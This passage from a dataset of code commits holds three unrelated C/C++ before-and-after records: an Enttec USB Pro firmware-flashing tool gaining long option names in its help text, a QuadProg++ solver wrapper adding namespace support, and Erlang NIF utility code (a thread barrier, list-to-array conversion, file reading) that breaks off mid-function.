m_widget(widget),\n        m_ss(ss) {\n    }\n\n    bool SendReprogram();\n\n    void HandleMessage(uint8_t label,\n                       const uint8_t *data,\n                       unsigned int length);\n    bool SendNextChunk();\n    void AbortTransfer() {\n      m_ss->Terminate();\n    }\n    void StartTransfer() {\n      SendNextChunk();\n    }\n    bool WasSucessfull() const { return m_sucessful; }\n\n  private:\n    enum { FLASH_STATUS_LENGTH = 4 };\n    enum { FLASH_PAGE_LENGTH = 64 };\n\n    bool m_sucessful;\n    ifstream *m_firmware;\n    DispatchingUsbProWidget *m_widget;\n    SelectServer *m_ss;\n\n    static const uint8_t REPROGRAM_LABEL = 1;\n    static const uint8_t FLASH_PAGE_LABEL = 2;\n    static const char REPLY_SUCCESS[];\n};\n\n\nconst char FirmwareTransferer::REPLY_SUCCESS[] = \"TRUE\";\n\n\n\/*\n * Send the re-program request\n *\/\nbool FirmwareTransferer::SendReprogram() {\n  return m_widget->SendMessage(REPROGRAM_LABEL, NULL, 0);\n}\n\n\n\/*\n * Handle the flash page replies\n *\/\nvoid FirmwareTransferer::HandleMessage(uint8_t label,\n                                       const uint8_t *data,\n                                       unsigned int length) {\n  if (label != FLASH_PAGE_LABEL || length != FLASH_STATUS_LENGTH)\n    return;\n\n  if (0 == memcmp(data, REPLY_SUCCESS, sizeof(FLASH_STATUS_LENGTH))) {\n    if (!SendNextChunk() || m_sucessful)\n      m_ss->Terminate();\n  } else {\n    OLA_FATAL << \"Bad response from widget:\" << string((const char*) data, 4);\n    m_ss->Terminate();\n  }\n}\n\n\n\/*\n * Send the next chunk of the firmware file\n *\/\nbool FirmwareTransferer::SendNextChunk() {\n  uint8_t page[FLASH_PAGE_LENGTH];\n  m_firmware->read(reinterpret_cast<char*>(page),\n                   FLASH_PAGE_LENGTH);\n  std::streamsize size = m_firmware->gcount();\n\n  if (!size) {\n    m_sucessful = true;\n    cout << endl;\n    return true;\n  }\n  cout << \".\";\n  fflush(stdout);\n  return m_widget->SendMessage(FLASH_PAGE_LABEL, page, size);\n}\n\n\n\/*\n * Parse our command line options\n *\/\nvoid ParseOptions(int argc, char *argv[], options *opts) {\n  static struct option long_options[] = {\n      {\"device\", required_argument, 0, 'd'},\n      {\"firmware\", required_argument, 0, 'f'},\n      {\"help\", no_argument, 0, 'h'},\n      {\"log-level\", required_argument, 0, 'l'},\n      {0, 0, 0, 0}\n    };\n\n  int option_index = 0;\n\n  while (1) {\n    int c = getopt_long(argc, argv, \"d:f:hl:\", long_options, &option_index);\n\n    if (c == -1)\n      break;\n\n    switch (c) {\n      case 0:\n        break;\n\n      case 'd':\n        opts->device = optarg;\n        break;\n\n      case 'f':\n        opts->firmware = optarg;\n        break;\n\n      case 'h':\n        opts->help = true;\n        break;\n\n      case 'l':\n        switch (atoi(optarg)) {\n          case 0:\n            \/\/ nothing is written at this level\n            \/\/ so this turns logging off\n            opts->log_level = ola::OLA_LOG_NONE;\n            break;\n          case 1:\n            opts->log_level = ola::OLA_LOG_FATAL;\n            break;\n          case 2:\n            opts->log_level = ola::OLA_LOG_WARN;\n            break;\n          case 3:\n            opts->log_level = ola::OLA_LOG_INFO;\n            break;\n          case 4:\n            opts->log_level = ola::OLA_LOG_DEBUG;\n            break;\n          default :\n            break;\n        }\n        break;\n      case '?':\n        break;\n      default:\n       break;\n    }\n  }\n  return;\n}\n\n\n\/*\n * Display the help message\n *\/\nvoid DisplayHelpAndExit(char *argv[]) {\n  cout << \"Usage: \" << argv[0] <<\n  \" -d <device> -f <firmware_file>\\n\"\n  \"\\n\"\n  \"Flash the firmware on an Enttec USB Pro device.\\n\"\n  \"\\n\"\n  \"  -d <device_path>   The path to the device.\\n\"\n  \"  -f <firmware_file> The path to the firmware to use.\\n\"\n  \"  -h, --help         Display this help message and exit.\\n\"\n  \"  -l, --log-level <level>  Set the logging level 0 .. 4.\\n\"\n  << endl;\n  exit(0);\n}\n\n\nvoid Stop(SelectServer *ss) {\n  ss->Terminate();\n}\n\n\n\/*\n * Flashes the device\n *\/\nint main(int argc, char *argv[]) {\n  options opts;\n  opts.log_level = ola::OLA_LOG_WARN;\n  opts.help = false;\n  opts.firmware = DEFAULT_FIRMWARE;\n  opts.device = DEFAULT_DEVICE;\n  ParseOptions(argc, argv, &opts);\n\n  if (opts.help)\n    DisplayHelpAndExit(argv);\n  ola::InitLogging(opts.log_level, ola::OLA_LOG_STDERR);\n\n  ifstream firmware_file(opts.firmware.data());\n\n  if (!firmware_file.is_open()) {\n    OLA_FATAL << \"Can't open the firmware file \" << opts.firmware << \": \" <<\n      strerror(errno);\n    exit(1);\n  }\n\n  SelectServer ss;\n\n  ola::io::ConnectedDescriptor *descriptor =\n     ola::plugin::usbpro::BaseUsbProWidget::OpenDevice(opts.device);\n  if (!descriptor)\n    exit(EX_UNAVAILABLE);\n\n  descriptor->SetOnClose(ola::NewSingleCallback(&Stop, &ss));\n  ss.AddReadDescriptor(descriptor);\n  DispatchingUsbProWidget widget(descriptor, NULL);\n  FirmwareTransferer transferer(&firmware_file, &widget, &ss);\n  widget.SetHandler(\n      ola::NewCallback(&transferer, &FirmwareTransferer::HandleMessage));\n\n  if (!transferer.SendReprogram()) {\n    OLA_FATAL << \"Send message failed\";\n    exit(1);\n  }\n\n  ss.RegisterSingleTimeout(\n      PAUSE_DELAY,\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::StartTransfer));\n  widget.GetDescriptor()->SetOnClose(\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::AbortTransfer));\n  ss.RegisterSingleTimeout(\n      ABORT_TIMEOUT,\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::AbortTransfer));\n  ss.Run();\n\n  firmware_file.close();\n  return !transferer.WasSucessfull();\n}\n<commit_msg>Show long options<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Library General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * usbpro-firmware.cpp\n * Copyright (C) 2005 Simon Newton\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <getopt.h>\n#include <string.h>\n#include <sysexits.h>\n#include <termios.h>\n#include <ola\/Logging.h>\n#include <ola\/Callback.h>\n#include <ola\/io\/SelectServer.h>\n\n#include <iostream>\n#include <fstream>\n#include <string>\n\n#include \"plugins\/usbpro\/BaseUsbProWidget.h\"\n\nusing std::cout;\nusing std::endl;\nusing std::ifstream;\nusing std::string;\nusing ola::plugin::usbpro::DispatchingUsbProWidget;\nusing ola::io::SelectServer;\n\nstatic const char DEFAULT_DEVICE[] = \"\/dev\/ttyUSB0\";\nstatic const char DEFAULT_FIRMWARE[] = \"main.bin\";\nstatic const int PAUSE_DELAY = 1000;  \/\/ ms before starting upload\nstatic const int ABORT_TIMEOUT = 10 * 1000;  \/\/ ms seconds before aborting\n\ntypedef struct {\n  bool help;\n  ola::log_level log_level;\n  string firmware;\n  string device;\n} options;\n\n\nclass FirmwareTransferer {\n  public:\n    FirmwareTransferer(ifstream *file,\n                       DispatchingUsbProWidget *widget,\n                       SelectServer *ss):\n        m_sucessful(false),\n        m_firmware(file),\n        m_widget(widget),\n        m_ss(ss) {\n    }\n\n    bool SendReprogram();\n\n    void HandleMessage(uint8_t label,\n                       const uint8_t *data,\n                       unsigned int length);\n    bool SendNextChunk();\n    void AbortTransfer() {\n      m_ss->Terminate();\n    }\n    void StartTransfer() {\n      SendNextChunk();\n    }\n    bool WasSucessfull() const { return m_sucessful; }\n\n  private:\n    enum { FLASH_STATUS_LENGTH = 4 };\n    enum { FLASH_PAGE_LENGTH = 64 };\n\n    bool m_sucessful;\n    ifstream *m_firmware;\n    DispatchingUsbProWidget *m_widget;\n    SelectServer *m_ss;\n\n    static const uint8_t REPROGRAM_LABEL = 1;\n    static const uint8_t FLASH_PAGE_LABEL = 2;\n    static const char REPLY_SUCCESS[];\n};\n\n\nconst char FirmwareTransferer::REPLY_SUCCESS[] = \"TRUE\";\n\n\n\/*\n * Send the re-program request\n *\/\nbool FirmwareTransferer::SendReprogram() {\n  return m_widget->SendMessage(REPROGRAM_LABEL, NULL, 0);\n}\n\n\n\/*\n * Handle the flash page replies\n *\/\nvoid FirmwareTransferer::HandleMessage(uint8_t label,\n                                       const uint8_t *data,\n                                       unsigned int length) {\n  if (label != FLASH_PAGE_LABEL || length != FLASH_STATUS_LENGTH)\n    return;\n\n  if (0 == memcmp(data, REPLY_SUCCESS, sizeof(FLASH_STATUS_LENGTH))) {\n    if (!SendNextChunk() || m_sucessful)\n      m_ss->Terminate();\n  } else {\n    OLA_FATAL << \"Bad response from widget:\" << string((const char*) data, 4);\n    m_ss->Terminate();\n  }\n}\n\n\n\/*\n * Send the next chunk of the firmware file\n *\/\nbool FirmwareTransferer::SendNextChunk() {\n  uint8_t page[FLASH_PAGE_LENGTH];\n  m_firmware->read(reinterpret_cast<char*>(page),\n                   FLASH_PAGE_LENGTH);\n  std::streamsize size = m_firmware->gcount();\n\n  if (!size) {\n    m_sucessful = true;\n    cout << endl;\n    return true;\n  }\n  cout << \".\";\n  fflush(stdout);\n  return m_widget->SendMessage(FLASH_PAGE_LABEL, page, size);\n}\n\n\n\/*\n * Parse our command line options\n *\/\nvoid ParseOptions(int argc, char *argv[], options *opts) {\n  static struct option long_options[] = {\n      {\"device\", required_argument, 0, 'd'},\n      {\"firmware\", required_argument, 0, 'f'},\n      {\"help\", no_argument, 0, 'h'},\n      {\"log-level\", required_argument, 0, 'l'},\n      {0, 0, 0, 0}\n    };\n\n  int option_index = 0;\n\n  while (1) {\n    int c = getopt_long(argc, argv, \"d:f:hl:\", long_options, &option_index);\n\n    if (c == -1)\n      break;\n\n    switch (c) {\n      case 0:\n        break;\n\n      case 'd':\n        opts->device = optarg;\n        break;\n\n      case 'f':\n        opts->firmware = optarg;\n        break;\n\n      case 'h':\n        opts->help = true;\n        break;\n\n      case 'l':\n        switch (atoi(optarg)) {\n          case 0:\n            \/\/ nothing is written at this level\n            \/\/ so this turns logging off\n            opts->log_level = ola::OLA_LOG_NONE;\n            break;\n          case 1:\n            opts->log_level = ola::OLA_LOG_FATAL;\n            break;\n          case 2:\n            opts->log_level = ola::OLA_LOG_WARN;\n            break;\n          case 3:\n            opts->log_level = ola::OLA_LOG_INFO;\n            break;\n          case 4:\n            opts->log_level = ola::OLA_LOG_DEBUG;\n            break;\n          default :\n            break;\n        }\n        break;\n      case '?':\n        break;\n      default:\n       break;\n    }\n  }\n  return;\n}\n\n\n\/*\n * Display the help message\n *\/\nvoid DisplayHelpAndExit(char *argv[]) {\n  cout << \"Usage: \" << argv[0] <<\n  \" -d <device> -f <firmware_file>\\n\"\n  \"\\n\"\n  \"Flash the firmware on an Enttec USB Pro device.\\n\"\n  \"\\n\"\n  \"  -d, --device <device_path>   The path to the device.\\n\"\n  \"  -f, --firmware <firmware_file> The path to the firmware to use.\\n\"\n  \"  -h, --help         Display this help message and exit.\\n\"\n  \"  -l, --log-level <level>  Set the logging level 0 .. 4.\\n\"\n  << endl;\n  exit(0);\n}\n\n\nvoid Stop(SelectServer *ss) {\n  ss->Terminate();\n}\n\n\n\/*\n * Flashes the device\n *\/\nint main(int argc, char *argv[]) {\n  options opts;\n  opts.log_level = ola::OLA_LOG_WARN;\n  opts.help = false;\n  opts.firmware = DEFAULT_FIRMWARE;\n  opts.device = DEFAULT_DEVICE;\n  ParseOptions(argc, argv, &opts);\n\n  if (opts.help)\n    DisplayHelpAndExit(argv);\n  ola::InitLogging(opts.log_level, ola::OLA_LOG_STDERR);\n\n  ifstream firmware_file(opts.firmware.data());\n\n  if (!firmware_file.is_open()) {\n    OLA_FATAL << \"Can't open the firmware file \" << opts.firmware << \": \" <<\n      strerror(errno);\n    exit(1);\n  }\n\n  SelectServer ss;\n\n  ola::io::ConnectedDescriptor *descriptor =\n     ola::plugin::usbpro::BaseUsbProWidget::OpenDevice(opts.device);\n  if (!descriptor)\n    exit(EX_UNAVAILABLE);\n\n  descriptor->SetOnClose(ola::NewSingleCallback(&Stop, &ss));\n  ss.AddReadDescriptor(descriptor);\n  DispatchingUsbProWidget widget(descriptor, NULL);\n  FirmwareTransferer transferer(&firmware_file, &widget, &ss);\n  widget.SetHandler(\n      ola::NewCallback(&transferer, &FirmwareTransferer::HandleMessage));\n\n  if (!transferer.SendReprogram()) {\n    OLA_FATAL << \"Send message failed\";\n    exit(1);\n  }\n\n  ss.RegisterSingleTimeout(\n      PAUSE_DELAY,\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::StartTransfer));\n  widget.GetDescriptor()->SetOnClose(\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::AbortTransfer));\n  ss.RegisterSingleTimeout(\n      ABORT_TIMEOUT,\n      ola::NewSingleCallback(&transferer, &FirmwareTransferer::AbortTransfer));\n  ss.Run();\n\n  firmware_file.close();\n  return !transferer.WasSucessfull();\n}\n<|endoftext|>"}
{"text":"<commit_before># include <QuadProg++.hh>\n# include <exception>\n# include <string.h>\n\nextern \"C\" double hs_solve_quadprog(\n  int n_vars, int n_ce, int n_ci,\n  const double *G_,\n  const double *g0_,\n  const double *CE_,\n  const double *ce0_,\n  const double *CI_,\n  const double *ci0_,\n  double *x_,\n  const char **p_errorstr) try\n{\n  using namespace QuadProgPP;\n  Matrix<double> G(G_, n_vars, n_vars);\n  Vector<double> g0(g0_, n_vars);\n  Matrix<double> CE(CE_, n_vars, n_ce);\n  Vector<double> ce0(ce0_, n_ce);\n  Matrix<double> CI(CI_, n_vars, n_ci);\n  Vector<double> ci0(ci0_, n_ci);\n  Vector<double> x;\n  double r = solve_quadprog(G, g0, CE, ce0, CI, ci0, x);\n  for(int i = 0; i < n_vars; i++)\n    x_[i] = x[i];\n  *p_errorstr = 0;\n  return r;\n} catch(const std::exception &e) {\n  *p_errorstr = strdup(e.what());\n  return 0;\n} catch(...) {\n  *p_errorstr = strdup(\"unknown C++ error\");\n  return 0;\n}\n<commit_msg>Support the quadprogpp namespace<commit_after># include <QuadProg++.hh>\n# include <exception>\n# include <string.h>\n\n\/* These namespaces may or may not be defined, depending on the version of\n * QuadProg++. Here we make sure the are all defined, so that we can be `using`\n * them later.\n *\/\n\nnamespace QuadProgPP{}\nnamespace quadprogpp{}\n\nextern \"C\" double hs_solve_quadprog(\n  int n_vars, int n_ce, int n_ci,\n  const double *G_,\n  const double *g0_,\n  const double *CE_,\n  const double *ce0_,\n  const double *CI_,\n  const double *ci0_,\n  double *x_,\n  const char **p_errorstr) try\n{\n  \/* Depending on the version, the names may be in the global namespace, the\n   * QuadProgPP namespace or the quadprogpp namespace.\n   *\/\n  using namespace QuadProgPP;\n  using namespace quadprogpp;\n  Matrix<double> G(G_, n_vars, n_vars);\n  Vector<double> g0(g0_, n_vars);\n  Matrix<double> CE(CE_, n_vars, n_ce);\n  Vector<double> ce0(ce0_, n_ce);\n  Matrix<double> CI(CI_, n_vars, n_ci);\n  Vector<double> ci0(ci0_, n_ci);\n  Vector<double> x;\n  double r = solve_quadprog(G, g0, CE, ce0, CI, ci0, x);\n  for(int i = 0; i < n_vars; i++)\n    x_[i] = x[i];\n  *p_errorstr = 0;\n  return r;\n} catch(const std::exception &e) {\n  *p_errorstr = strdup(e.what());\n  return 0;\n} catch(...) {\n  *p_errorstr = strdup(\"unknown C++ error\");\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * A thread synchronization barrier implemented using erl_nif synch facilities\n * \/\nclass Barrier {\n\nprivate:\n\tuint N_THREADS;\n\n\tuint waiting_threads_counts[2];\n\tuint current_counter;\n\n\tErlNifMutex* mtx;\n\tErlNifCond* cond;\n\npublic:\n\texplicit Barrier(uint n_Threads) {\n\t\tN_THREADS = n_Threads;\n\t\twaiting_threads_counts[0] = waiting_threads_counts[1] = 0;\n\t\tcurrent_counter = 0;\n\n\t\tmtx = enif_mutex_create((char*) \"map_load_thread_cond_mtx\");\n\t\tcond = enif_cond_create((char*) \"map_load_thread_cond\");\n\n\t\t\/\/std::cerr << \"Barrier(\"<< N_THREADS <<\") CREATED\"<<endl;\n\t}\n\t~Barrier() {\n\t\tenif_cond_destroy(cond);\n\t\tenif_mutex_destroy(mtx);\n\t}\n\n\tvoid await(){\n\n\t\tenif_mutex_lock(mtx);\n\n\t\tuint local_counter = current_counter;\n\n\t\twaiting_threads_counts[local_counter]++;\n\t\t\/\/std::cerr << \"await(): waiting_threads_counts[local_counter]++: \"<< waiting_threads_counts[local_counter] <<endl;\n\n\n\t\tif(waiting_threads_counts[local_counter] < N_THREADS) {\n\t\t\t\/\/std::cerr << \"await(): Barrier NOT full\" <<endl;\n\n\t\t\twhile(waiting_threads_counts[local_counter] < N_THREADS) {\n\t\t\t\/\/\tstd::cerr << \"await(): cond_wait waiting_threads_counts[local_counter]: \"<< waiting_threads_counts[local_counter] <<endl;\n\t\t\t\tenif_cond_wait(cond, mtx);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/std::cerr << \"await(): Barrier FULL. waiting_threads:\" <<waiting_threads_counts[local_counter] << \" broadcast!\" <<endl;\n\n\t\t\tcurrent_counter ^= 1;\n\t\t\twaiting_threads_counts[current_counter] = 0;\n\n\t\t\tenif_cond_broadcast(cond);\n\t\t}\n\n\t\/\/\tstd::cerr << \"await(): END\" <<endl;\n\t\tenif_mutex_unlock(mtx);\n\t}\n\n};\n\n\/*array must be big enough to contain list.length elements*\/\nuint list_to_double_arrayN(ErlNifEnv *env, ERL_NIF_TERM list, double* array, uint arrayLen, ERL_NIF_TERM* lastListCell) {\n\n\tif(array == NULL)\n\t\treturn 0;\n\n\tuint len = 0;\n\n\tif(enif_is_list(env, list)) {\n\n\t\tERL_NIF_TERM curr_cell = list;\n\n\t\tuint i = 0;\n\t\tfor(i = 0; enif_is_list(env, curr_cell) && i < arrayLen; i++) {\n\n\t\t\tERL_NIF_TERM hd, tl;\n\t\t\tif(!enif_get_list_cell(env, curr_cell, &hd, &tl))\n\t\t\t\tbreak;\/\/list is empty\n\n\t\t\tif(!(enif_get_double(env, hd, &(array[i]) ))) {\n\t\t\t\tstd::cerr << \"DEBUG: list_to_double_arrayN - Error: attempt to read float from something else!\" << std::endl;\n\t\t\t}\n\t\t\tcurr_cell = tl;\n\n\t\t}\n\n\t\tif(lastListCell != NULL) \/\/user requested the term denoting the last cell\n\t\t\t*lastListCell = curr_cell;\n\n\t\treturn i;\n\n\t} else { \/\/term \"list\" is not a list\n\n\t\t#ifdef DEBUG\n\t\tstd::cerr << \"DEBUG: list_to_double_arrayN - Error: trying to convert a non list as a list\"<< std::endl ;\n\t\t#endif\n\n\t\treturn 0;\n\t}\n}\n\n\nuint sync_list_to_double_arrayN(ErlNifEnv *env, ErlNifMutex *mtx, ERL_NIF_TERM list, double* array, uint arrayLen, ERL_NIF_TERM* lastListCell) {\n\n\tenif_mutex_lock(mtx);\n\n\tuint result = list_to_double_arrayN(env, list, array,  arrayLen, lastListCell);\n\n\tenif_mutex_unlock(mtx);\n\t\n\treturn result;\n\n}\n\nvoid list_to_double_array(ErlNifEnv *env, ERL_NIF_TERM list, uint listLen, double* array) { \/\/TODO scorre la lista 2 volte\n\n\tif(array == NULL)\n\t\treturn;\n\n\tuint len = 0;\n\n\tif(enif_is_list(env, list)) {\n\n\t\tlist_to_double_arrayN(env, list, array, listLen, NULL);\n\t}\n\n}\n\n\nERL_NIF_TERM double_array_to_list(ErlNifEnv *env, double* array, size_t array_size) {\n\n\tif(array == NULL)\n\t\treturn ATOM(error);\n\n\tERL_NIF_TERM* floatTermArray =\n\t\t\t(ERL_NIF_TERM*) enif_alloc(sizeof(ERL_NIF_TERM) * array_size);\n\n\tfor(uint i = 0; i < array_size; i++)\n\t\tfloatTermArray[i] = enif_make_double(env, array[i]);\n\n\tERL_NIF_TERM res = enif_make_list_from_array(env, floatTermArray, array_size);\n\n\tenif_free(floatTermArray);\n\n\treturn res;\n}\n\n\/*returns a string containing the content of the file at filePath\n * otherwise \"NULL\".*\/\nstring readFromFileStr(char* filePath) {\n\n\tifstream file(filePath, ios::in);\n\tif (!file.is_open()) {\n\t\tcerr << \"Failed to open file for reading: \" << filePath << endl;\n\t\treturn \"NULL\";\n\t}\n\n\tostringstream oss;\n\toss << file.rdbuf();\n\n\treturn oss.str();\n}\n\n\/*returns a dinamically allocated string containing the content of the file at filePath\n * otherwise NULL.\n * The returned sting must be enif_free'd when not needed.\n * *\/\nchar* readFromFile(char* filePath) {\n\n\tstring srcStdStr = readFromFileStr(filePath);\n\n\tchar* toReturn = (char*) enif_alloc(srcStdStr.length()+1);\n\n\treturn strcpy(toReturn, srcStdStr.c_str());\n\n}\n\n\n#define MIN(a, b) ((a < b) ? a : b)\n\nint inline isPow2(unsigned int v) { return v && !(v & (v - 1));}\n\n\/*\n * Return a value that is nearest value that is power of 2.\n *\/\nunsigned int nextPow2( unsigned int x )\n{\n    --x;\n    x |= x >> 1;\n    x |= x >> 2;\n    x |= x >> 4;\n    x |= x >> 8;\n    x |= x >> 16;\n    return x+1;\n}\n\n\/\/ Round Up Division function\nsize_t roundUp(uint group_size, uint global_size)\n{\n    uint r = global_size % group_size;\n    if(r == 0)\n        return global_size;\n    else\n        return global_size + group_size - r;\n}\n\n\/*!\n * Compute the number of threads and blocks to use for the REDUCTION kernel.\n * We set threads \/ block to the minimum of maxThreads and n\/2 where n is\n * problem size. We observe the maximum specified number of blocks, because\n * each kernel thread can process more than 1 elements.\n *\n * \\param n Problem size.\n * \\param maxBlocks Maximum number of blocks that can be used.\n * \\param maxThreads Maximum number of threads that can be used.\n * \\param blocks An output parameter passed by reference. Specify number of blocks to be used.\n * \\param threads An output parameter passed by reference. Specify number of threads to be used.\n *\/\nvoid getNumBlocksAndThreads(int n, int maxBlocks, int maxThreads, long unsigned int &blocks, long unsigned int &threads)\n{\n        threads = (n < maxThreads*2) ? nextPow2((n + 1)\/ 2) : maxThreads;\n        blocks = (n + (threads * 2 - 1)) \/ (threads * 2);\n\n        if(maxBlocks > 0)\n        \tblocks = MIN(maxBlocks, blocks);\n}\n\n\/*\n *  It finds all instances of a string in another string and replaces it with\n *  a third string.\n *\n *\/\nvoid replaceTextInString(std::string& text, std::string find, std::string replace)\n{\n        std::string::size_type pos=0;\n        while((pos = text.find(find, pos)) != std::string::npos)\n        {\n            text.erase(pos, find.length());\n            text.insert(pos, replace);\n            pos+=replace.length();\n        }\n}\n\n\n<commit_msg>Update utils.cpp<commit_after>\/**\n * A thread synchronization barrier implemented using erl_nif synch facilities\n *\/\nclass Barrier {\n\nprivate:\n\tuint N_THREADS;\n\n\tuint waiting_threads_counts[2];\n\tuint current_counter;\n\n\tErlNifMutex* mtx;\n\tErlNifCond* cond;\n\npublic:\n\texplicit Barrier(uint n_Threads) {\n\t\tN_THREADS = n_Threads;\n\t\twaiting_threads_counts[0] = waiting_threads_counts[1] = 0;\n\t\tcurrent_counter = 0;\n\n\t\tmtx = enif_mutex_create((char*) \"map_load_thread_cond_mtx\");\n\t\tcond = enif_cond_create((char*) \"map_load_thread_cond\");\n\n\t\t\/\/std::cerr << \"Barrier(\"<< N_THREADS <<\") CREATED\"<<endl;\n\t}\n\t~Barrier() {\n\t\tenif_cond_destroy(cond);\n\t\tenif_mutex_destroy(mtx);\n\t}\n\n\tvoid await(){\n\n\t\tenif_mutex_lock(mtx);\n\n\t\tuint local_counter = current_counter;\n\n\t\twaiting_threads_counts[local_counter]++;\n\t\t\/\/std::cerr << \"await(): waiting_threads_counts[local_counter]++: \"<< waiting_threads_counts[local_counter] <<endl;\n\n\n\t\tif(waiting_threads_counts[local_counter] < N_THREADS) {\n\t\t\t\/\/std::cerr << \"await(): Barrier NOT full\" <<endl;\n\n\t\t\twhile(waiting_threads_counts[local_counter] < N_THREADS) {\n\t\t\t\/\/\tstd::cerr << \"await(): cond_wait waiting_threads_counts[local_counter]: \"<< waiting_threads_counts[local_counter] <<endl;\n\t\t\t\tenif_cond_wait(cond, mtx);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/std::cerr << \"await(): Barrier FULL. waiting_threads:\" <<waiting_threads_counts[local_counter] << \" broadcast!\" <<endl;\n\n\t\t\tcurrent_counter ^= 1;\n\t\t\twaiting_threads_counts[current_counter] = 0;\n\n\t\t\tenif_cond_broadcast(cond);\n\t\t}\n\n\t\/\/\tstd::cerr << \"await(): END\" <<endl;\n\t\tenif_mutex_unlock(mtx);\n\t}\n\n};\n\n\/*array must be big enough to contain list.length elements*\/\nuint list_to_double_arrayN(ErlNifEnv *env, ERL_NIF_TERM list, double* array, uint arrayLen, ERL_NIF_TERM* lastListCell) {\n\n\tif(array == NULL)\n\t\treturn 0;\n\n\tuint len = 0;\n\n\tif(enif_is_list(env, list)) {\n\n\t\tERL_NIF_TERM curr_cell = list;\n\n\t\tuint i = 0;\n\t\tfor(i = 0; enif_is_list(env, curr_cell) && i < arrayLen; i++) {\n\n\t\t\tERL_NIF_TERM hd, tl;\n\t\t\tif(!enif_get_list_cell(env, curr_cell, &hd, &tl))\n\t\t\t\tbreak;\/\/list is empty\n\n\t\t\tif(!(enif_get_double(env, hd, &(array[i]) ))) {\n\t\t\t\tstd::cerr << \"DEBUG: list_to_double_arrayN - Error: attempt to read float from something else!\" << std::endl;\n\t\t\t}\n\t\t\tcurr_cell = tl;\n\n\t\t}\n\n\t\tif(lastListCell != NULL) \/\/user requested the term denoting the last cell\n\t\t\t*lastListCell = curr_cell;\n\n\t\treturn i;\n\n\t} else { \/\/term \"list\" is not a list\n\n\t\t#ifdef DEBUG\n\t\tstd::cerr << \"DEBUG: list_to_double_arrayN - Error: trying to convert a non list as a list\"<< std::endl ;\n\t\t#endif\n\n\t\treturn 0;\n\t}\n}\n\n\nuint sync_list_to_double_arrayN(ErlNifEnv *env, ErlNifMutex *mtx, ERL_NIF_TERM list, double* array, uint arrayLen, ERL_NIF_TERM* lastListCell) {\n\n\tenif_mutex_lock(mtx);\n\n\tuint result = list_to_double_arrayN(env, list, array,  arrayLen, lastListCell);\n\n\tenif_mutex_unlock(mtx);\n\t\n\treturn result;\n\n}\n\nvoid list_to_double_array(ErlNifEnv *env, ERL_NIF_TERM list, uint listLen, double* array) { \/\/TODO scorre la lista 2 volte\n\n\tif(array == NULL)\n\t\treturn;\n\n\tuint len = 0;\n\n\tif(enif_is_list(env, list)) {\n\n\t\tlist_to_double_arrayN(env, list, array, listLen, NULL);\n\t}\n\n}\n\n\nERL_NIF_TERM double_array_to_list(ErlNifEnv *env, double* array, size_t array_size) {\n\n\tif(array == NULL)\n\t\treturn ATOM(error);\n\n\tERL_NIF_TERM* floatTermArray =\n\t\t\t(ERL_NIF_TERM*) enif_alloc(sizeof(ERL_NIF_TERM) * array_size);\n\n\tfor(uint i = 0; i < array_size; i++)\n\t\tfloatTermArray[i] = enif_make_double(env, array[i]);\n\n\tERL_NIF_TERM res = enif_make_list_from_array(env, floatTermArray, array_size);\n\n\tenif_free(floatTermArray);\n\n\treturn res;\n}\n\n\/*returns a string containing the content of the file at filePath\n * otherwise \"NULL\".*\/\nstring readFromFileStr(char* filePath) {\n\n\tifstream file(filePath, ios::in);\n\tif (!file.is_open()) {\n\t\tcerr << \"Failed to open file for reading: \" << filePath << endl;\n\t\treturn \"NULL\";\n\t}\n\n\tostringstream oss;\n\toss << file.rdbuf();\n\n\treturn oss.str();\n}\n\n\/*returns a dinamically allocated string containing the content of the file at filePath\n * otherwise NULL.\n * The returned sting must be enif_free'd when not needed.\n * *\/\nchar* readFromFile(char* filePath) {\n\n\tstring srcStdStr = readFromFileStr(filePath);\n\n\tchar* toReturn = (char*) enif_alloc(srcStdStr.length()+1);\n\n\treturn strcpy(toReturn, srcStdStr.c_str());\n\n}\n\n\n#define MIN(a, b) ((a < b) ? a : b)\n\nint inline isPow2(unsigned int v) { return v && !(v & (v - 1));}\n\n\/*\n * Return a value that is nearest value that is power of 2.\n *\/\nunsigned int nextPow2( unsigned int x )\n{\n    --x;\n    x |= x >> 1;\n    x |= x >> 2;\n    x |= x >> 4;\n    x |= x >> 8;\n    x |= x >> 16;\n    return x+1;\n}\n\n\/\/ Round Up Division function\nsize_t roundUp(uint group_size, uint global_size)\n{\n    uint r = global_size % group_size;\n    if(r == 0)\n        return global_size;\n    else\n        return global_size + group_size - r;\n}\n\n\/*!\n * Compute the number of threads and blocks to use for the REDUCTION kernel.\n * We set threads \/ block to the minimum of maxThreads and n\/2 where n is\n * problem size. We observe the maximum specified number of blocks, because\n * each kernel thread can process more than 1 elements.\n *\n * \\param n Problem size.\n * \\param maxBlocks Maximum number of blocks that can be used.\n * \\param maxThreads Maximum number of threads that can be used.\n * \\param blocks An output parameter passed by reference. Specify number of blocks to be used.\n * \\param threads An output parameter passed by reference. Specify number of threads to be used.\n *\/\nvoid getNumBlocksAndThreads(int n, int maxBlocks, int maxThreads, long unsigned int &blocks, long unsigned int &threads)\n{\n        threads = (n < maxThreads*2) ? nextPow2((n + 1)\/ 2) : maxThreads;\n        blocks = (n + (threads * 2 - 1)) \/ (threads * 2);\n\n        if(maxBlocks > 0)\n        \tblocks = MIN(maxBlocks, blocks);\n}\n\n\/*\n *  It finds all instances of a string in another string and replaces it with\n *  a third string.\n *\n *\/\nvoid replaceTextInString(std::string& text, std::string find, std::string replace)\n{\n        std::string::size_type pos=0;\n        while((pos = text.find(find, pos)) != std::string::npos)\n        {\n            